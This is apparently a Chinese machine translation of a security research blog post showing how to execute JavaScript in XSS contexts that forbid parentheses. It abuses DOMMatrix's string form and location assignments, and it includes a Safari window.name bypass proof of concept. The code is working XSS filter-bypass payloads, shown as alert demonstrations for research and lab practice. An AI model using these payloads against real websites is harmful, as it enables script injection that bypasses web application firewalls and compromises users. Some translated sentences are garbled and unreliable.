JavaScript without parentheses using DOMMatrix

每隔一段时间,您就会发现一个看似正常的XSS漏洞,但却会对防止被利用的有限字符集造成严重冲击。 一个常见的限制是不允许您使用括号的网站:()。 对于此特定挑战,有两种经典的解决方案,但都有缺陷:

location = name依赖于外部网站,并且在Safari中失败,因为它清除了x来源导航中的window.name。
onerror =警报; WAF阻止关键字“ throw”越来越多地抛出throw 1。

有没有第三种更好的方法? Terjanq在sla.ckers上发布了一个有趣的有限字符集挑战,而我从最新的研究史诗(出版日期TBC,不需要猜测为什么)中休息一下,以找到答案。

我正在使用a-z A-Z'; +。:=的受限字符集。 您可以使用toString / valueOf调用函数,但不能将参数传递给该函数,这使其受到很大限制。似乎也无法提取字符串的一部分。 您只能获得对象的toString值的第一个字符。例如,对象new RegExp返回值/(?:)/,则可以通过将valueOf与String.prototype.charAt一起使用来获取第一个字符。 之所以可行,是因为不带任何参数调用charAt并返回第一个字符:

x = new RegExp;
x.valueOf=String.prototype.charAt;
x+''//returns a single /

不幸的是,您不能将valueOf与字符串文字一起使用,因此,您甚至无法获得第一个字符,不要介意字符串文字之间的任何字符。 我需要找到的是一个小工具,可以让我生成我无法访问的字符。我使用了Hackability Inspector来枚举window对象,并在每个属性功能上使用了execute JavaScript,但是它没有返回任何有用的字符。 在玩了一段时间的JavaScript之后,我意识到新的运算符可以使我生成大量新字符。 再次使用检查器,我想到了一个脚本,该脚本在窗口上所有枚举的对象上使用了new运算符,并且在控制台中,我找到了一个生成括号的构造函数:DOMMatrix构造函数! 此构造函数将生成一个对象,该对象的toString值看起来像带括号的函数调用。 例如,调用DOMMatrix构造函数将生成以下内容:

console.log(new DOMMatrix+'')
> matrix(1, 0, 0, 1, 0, 0)

实际上,我可以生成一个包含括号的字符串,该字符串调用带有参数1,0,0,1,0,0的名为矩阵的函数,但是存在两个问题:1)我需要控制被调用的函数,2)我需要 控制发送给函数的参数。 我可以通过简单地将函数分配给矩阵变量来解决第一个问题。

x=new DOMMatrix;
matrix=alert;

对于第二个问题,我检查了DOMMatrix构造函数返回的矩阵对象,并注意到它具有一个名为“ a”的属性,该属性使我能够控制发送给该函数的第一个参数:

x.a=1337;

综上所述,这是如何使用DOMMatrix调用alert(1337):

x=new DOMMatrix;
matrix=alert;
x.a=1337;
location='javascript'+':'+x

您可能想知道如何执行任意代码。 发送到矩阵函数的参数必须是数字,但这不是问题,因为您可以使用String.fromCharCode例如生成发送到接收器(例如位置)的字符。这可以通过用String.fromCharCode覆盖矩阵变量并使用位置分配来评估矩阵代码并返回所需的字符来实现。 您必须使用矩阵对象的6个属性,否则它们将默认为0或1,这将生成语法错误。 然后,您需要再次使用位置分配,以便使用第二个位置分配将生成的字符串作为JavaScript执行。

x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1'

在上面的代码中,您必须使用两次位置,一次用于生成字符,第二次用于评估这些字符。 最后的void 1返回undefined,并阻止浏览器将第二个位置分配编写为HTML。

还有另一个可以以类似方式使用的构造函数,但是我们强烈怀疑我们的博客文章被复制粘贴到WAF黑名单中,因此我们暂时将其保留给自己。

如果您喜欢这篇文章,我们在这个主题上也有类似的文章,并且我们还发布了一个学院实验室,该实验室激发了sla.ckers的讨论以及这篇博客文章,因此,如果您想尝试这些技术,请查看我们的实验室!

最后,我无法抗拒破坏Safari的window.name保护。 这是一个概念证明,它在跨原点导航上使用window.name来存储XSS有效负载。 它通过使用target属性而不是JavaScript来设置窗口名称来工作:

<a href="http://subdomain1.portswigger-labs.net/safari_window_name_bypass/read.html" target="alert(1337)">PoC</a>

享受并注意安全!